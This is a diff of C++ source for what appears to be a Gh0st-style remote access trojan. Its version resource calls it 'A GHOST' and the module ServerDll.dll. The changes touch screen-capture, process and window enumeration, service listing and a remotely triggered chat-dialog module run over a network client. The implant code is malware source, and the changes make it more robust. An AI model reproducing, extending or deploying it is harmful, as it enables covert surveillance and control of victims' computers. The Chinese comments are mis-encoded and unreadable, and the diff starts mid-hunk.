//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
|
||||||
*ulNextSendLength = m_RectBufferOffset +
|
*ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
|
||||||
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
|
|
||||||
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||||
|
|
||||||
return m_RectBuffer;
|
return m_RectBuffer;
|
||||||
@@ -182,7 +154,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
|||||||
{
|
{
|
||||||
AUTO_TICK(70);
|
AUTO_TICK(70);
|
||||||
#if COPY_ALL
|
#if COPY_ALL
|
||||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
|
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
|
||||||
#else
|
#else
|
||||||
const ULONG ulJumpLine = 50;
|
const ULONG ulJumpLine = 50;
|
||||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||||
@@ -195,15 +167,14 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
|||||||
ulToJump = ulJumpLine;
|
ulToJump = ulJumpLine;
|
||||||
else
|
else
|
||||||
ulToJump = ulv1;
|
ulToJump = ulv1;
|
||||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
|
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
|
||||||
Sleep(ulJumpSleep);
|
Sleep(ulJumpSleep);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength)
|
||||||
LPBYTE szBuffer, DWORD ulCompareLength)
|
|
||||||
{
|
{
|
||||||
AUTO_TICK(20);
|
AUTO_TICK(20);
|
||||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||||
|
|||||||
@@ -10,20 +10,60 @@
|
|||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
#define ALGORITHM_DIFF 1
|
#define ALGORITHM_DIFF 1
|
||||||
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
|
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
|
||||||
#include "CursorInfor.h"
|
#include "CursorInfo.h"
|
||||||
|
|
||||||
|
|
||||||
class CScreenSpy
|
class CScreenSpy
|
||||||
{
|
{
|
||||||
|
private:
|
||||||
|
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||||
|
ULONG m_ulbiBitCount; // ÿ<><C3BF><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
|
||||||
|
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
||||||
|
ULONG m_ulFullHeight; //<2F><>Ļ<EFBFBD><C4BB>
|
||||||
|
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||||
|
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||||
|
|
||||||
|
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
||||||
|
|
||||||
|
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||||
|
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||||
|
|
||||||
|
HDC m_hFullMemDC;
|
||||||
|
HBITMAP m_BitmapHandle;
|
||||||
|
PVOID m_BitmapData_Full;
|
||||||
|
|
||||||
|
HDC m_hDiffMemDC;
|
||||||
|
HBITMAP m_DiffBitmapHandle;
|
||||||
|
PVOID m_DiffBitmapData_Full;
|
||||||
|
|
||||||
|
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
BYTE* m_RectBuffer; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpy(ULONG ulbiBitCount);
|
CScreenSpy(ULONG ulbiBitCount);
|
||||||
|
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
|
|
||||||
ULONG GetBISize() const
|
int GetWidth()const {
|
||||||
{
|
return m_ulFullWidth;
|
||||||
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
|
}
|
||||||
|
|
||||||
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
|
int GetHeight() const {
|
||||||
|
return m_ulFullHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsZoomed() const {
|
||||||
|
return m_bZoomed;
|
||||||
|
}
|
||||||
|
|
||||||
|
double GetWZoom() const {
|
||||||
|
return m_wZoom;
|
||||||
|
}
|
||||||
|
|
||||||
|
double GetHZoom() const {
|
||||||
|
return m_hZoom;
|
||||||
}
|
}
|
||||||
|
|
||||||
const LPBITMAPINFO& GetBIData() const
|
const LPBITMAPINFO& GetBIData() const
|
||||||
@@ -31,45 +71,25 @@ public:
|
|||||||
return m_BitmapInfor_Full;
|
return m_BitmapInfor_Full;
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG m_ulbiBitCount;
|
|
||||||
LPBITMAPINFO m_BitmapInfor_Full;
|
|
||||||
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
|
||||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount,
|
|
||||||
ULONG ulFullWidth, ULONG ulFullHeight);
|
|
||||||
|
|
||||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
|
||||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
|
||||||
HDC m_hFullMemDC;
|
|
||||||
HBITMAP m_BitmapHandle;
|
|
||||||
PVOID m_BitmapData_Full;
|
|
||||||
DWORD m_dwBitBltRop;
|
|
||||||
LPVOID GetFirstScreenData();
|
|
||||||
|
|
||||||
ULONG GetFirstScreenLength() const
|
ULONG GetFirstScreenLength() const
|
||||||
{
|
{
|
||||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||||
}
|
}
|
||||||
|
|
||||||
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
|
||||||
BYTE* m_RectBuffer;
|
|
||||||
ULONG m_RectBufferOffset;
|
|
||||||
BYTE m_bAlgorithm;
|
|
||||||
|
|
||||||
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
|
|
||||||
{
|
{
|
||||||
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
||||||
m_RectBufferOffset += ulLength;
|
m_RectBufferOffset += ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
CCursorInfor m_CursorInfor;
|
LPVOID GetFirstScreenData();
|
||||||
HDC m_hDiffMemDC;
|
|
||||||
HBITMAP m_DiffBitmapHandle;
|
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
||||||
PVOID m_DiffBitmapData_Full;
|
|
||||||
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength);
|
||||||
LPBYTE szBuffer, DWORD ulCompareLength);
|
|
||||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
double m_wZoom, m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>
|
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||||
|
|||||||
@@ -81,13 +81,14 @@ END
|
|||||||
|
|
||||||
IDR_WAVE WAVE "Res\\msg.wav"
|
IDR_WAVE WAVE "Res\\msg.wav"
|
||||||
|
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
//
|
//
|
||||||
// Version
|
// Version
|
||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,0,2
|
FILEVERSION 1,0,0,6
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -105,10 +106,10 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.0.2"
|
VALUE "FileVersion", "1.0.0.6"
|
||||||
VALUE "InternalName", "ServerDl.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||||
VALUE "OriginalFilename", "ServerDl.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
VALUE "ProductName", "A GHOST"
|
VALUE "ProductName", "A GHOST"
|
||||||
VALUE "ProductVersion", "1.0.0.1"
|
VALUE "ProductVersion", "1.0.0.1"
|
||||||
END
|
END
|
||||||
@@ -128,7 +129,9 @@ END
|
|||||||
// Icon with lowest ID value placed first to ensure application icon
|
// Icon with lowest ID value placed first to ensure application icon
|
||||||
// remains consistent on all systems.
|
// remains consistent on all systems.
|
||||||
IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
||||||
|
|
||||||
IDI_ICON_MSG ICON "Res\\msg.ico"
|
IDI_ICON_MSG ICON "Res\\msg.ico"
|
||||||
|
|
||||||
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
|
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
|||||||
@@ -65,7 +65,8 @@ LPBYTE CServicesManager::GetServicesList()
|
|||||||
&dwResumeHandle);
|
&dwResumeHandle);
|
||||||
|
|
||||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return NULL;
|
||||||
szBuffer[0] = TOKEN_SERVERLIST;
|
szBuffer[0] = TOKEN_SERVERLIST;
|
||||||
dwOffset = 1;
|
dwOffset = 1;
|
||||||
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||||
@@ -82,7 +83,8 @@ LPBYTE CServicesManager::GetServicesList()
|
|||||||
}
|
}
|
||||||
|
|
||||||
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||||
|
if (ServicesInfor == NULL)
|
||||||
|
continue;
|
||||||
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||||
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
@@ -120,7 +122,8 @@ LPBYTE CServicesManager::GetServicesList()
|
|||||||
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||||
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
continue;
|
||||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||||
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||||
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
||||||
|
|||||||
@@ -6,8 +6,11 @@
|
|||||||
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||||
|
|
||||||
|
// ʹ<><CAB9>ѹ<EFBFBD><D1B9><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD>㷨<EFBFBD><E3B7A8>Ҫ<EFBFBD><D2AA>server<65><72>stdafx.hƥ<68><C6A5>
|
||||||
|
#define USING_COMPRESS 1
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
||||||
#define USING_ZLIB 0
|
#define USING_ZLIB 1
|
||||||
|
|
||||||
#if !USING_ZLIB
|
#if !USING_ZLIB
|
||||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
|
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
|
||||||
@@ -57,19 +60,25 @@ class auto_tick
|
|||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
const char *func;
|
const char *func;
|
||||||
int threshold;
|
int span;
|
||||||
clock_t tick;
|
clock_t tick;
|
||||||
__inline clock_t now() const { return clock(); }
|
__inline clock_t now() const { return clock(); }
|
||||||
|
__inline int time() const { return now() - tick; }
|
||||||
|
|
||||||
public:
|
public:
|
||||||
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
|
auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
|
||||||
~auto_tick() {int s(this->time());if(s>threshold)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s);}
|
~auto_tick() { stop(); }
|
||||||
__inline int time() const { return now() - tick; }
|
|
||||||
|
__inline void stop() {
|
||||||
|
if (span != 0) { int s(this->time()); if (s > span)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
||||||
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
||||||
|
#define STOP_TICK TICK.stop()
|
||||||
#else
|
#else
|
||||||
#define AUTO_TICK(thresh)
|
#define AUTO_TICK(thresh)
|
||||||
|
#define STOP_TICK
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -8,6 +8,11 @@
|
|||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
using namespace std;
|
using namespace std;
|
||||||
#include <TLHELP32.H>
|
#include <TLHELP32.H>
|
||||||
|
|
||||||
|
#ifndef PSAPI_VERSION
|
||||||
|
#define PSAPI_VERSION 1
|
||||||
|
#endif
|
||||||
|
|
||||||
#include <Psapi.h>
|
#include <Psapi.h>
|
||||||
|
|
||||||
#pragma comment(lib,"psapi.lib")
|
#pragma comment(lib,"psapi.lib")
|
||||||
@@ -73,7 +78,8 @@ LPBYTE CSystemManager::GetProcessList()
|
|||||||
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
|
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
|
||||||
|
|
||||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
|
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return NULL;
|
||||||
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
dwOffset = 1;
|
dwOffset = 1;
|
||||||
|
|
||||||
@@ -258,12 +264,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ
|
|||||||
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
|
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
|
||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return FALSE;
|
||||||
//[<5B><>Ϣ][4Notepad.exe\0]
|
//[<5B><>Ϣ][4Notepad.exe\0]
|
||||||
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
|
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||||
dwOffset = LocalSize(szBuffer); //1
|
dwOffset = LocalSize(szBuffer); //1
|
||||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return FALSE;
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
|
||||||
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
|
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
|
||||||
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
|
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
|
||||||
|
|||||||
@@ -15,12 +15,12 @@ using namespace std;
|
|||||||
#define ID_TIMER_DELAY_DISPLAY 2
|
#define ID_TIMER_DELAY_DISPLAY 2
|
||||||
#define ID_TIMER_CLOSE_WINDOW 3
|
#define ID_TIMER_CLOSE_WINDOW 3
|
||||||
|
|
||||||
#define WIN_WIDTH 250
|
#define WIN_WIDTH 360
|
||||||
#define WIN_HEIGHT 200
|
#define WIN_HEIGHT 200
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
char g_Buffer[0x1000] = {0};
|
char g_Buffer[TALK_DLG_MAXLEN] = {0};
|
||||||
UINT_PTR g_Event = 0;
|
UINT_PTR g_Event = 0;
|
||||||
|
|
||||||
IOCPClient* g_IOCPClientObject = NULL;
|
IOCPClient* g_IOCPClientObject = NULL;
|
||||||
@@ -33,6 +33,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObjec
|
|||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
g_IOCPClientObject = ClientObject;
|
g_IOCPClientObject = ClientObject;
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
|
cout << "Talk <20><><EFBFBD><EFBFBD>\n";
|
||||||
}
|
}
|
||||||
|
|
||||||
CTalkManager::~CTalkManager()
|
CTalkManager::~CTalkManager()
|
||||||
@@ -52,9 +53,8 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
memcpy(g_Buffer, szBuffer, ulLength);
|
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||||
|
|
||||||
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||||
NULL,DialogProc); //SDK C MFC C++
|
NULL,DialogProc); //SDK C MFC C++
|
||||||
break;
|
break;
|
||||||
@@ -74,9 +74,26 @@ int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
|
|||||||
}
|
}
|
||||||
case WM_INITDIALOG:
|
case WM_INITDIALOG:
|
||||||
{
|
{
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||||
|
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
|
||||||
|
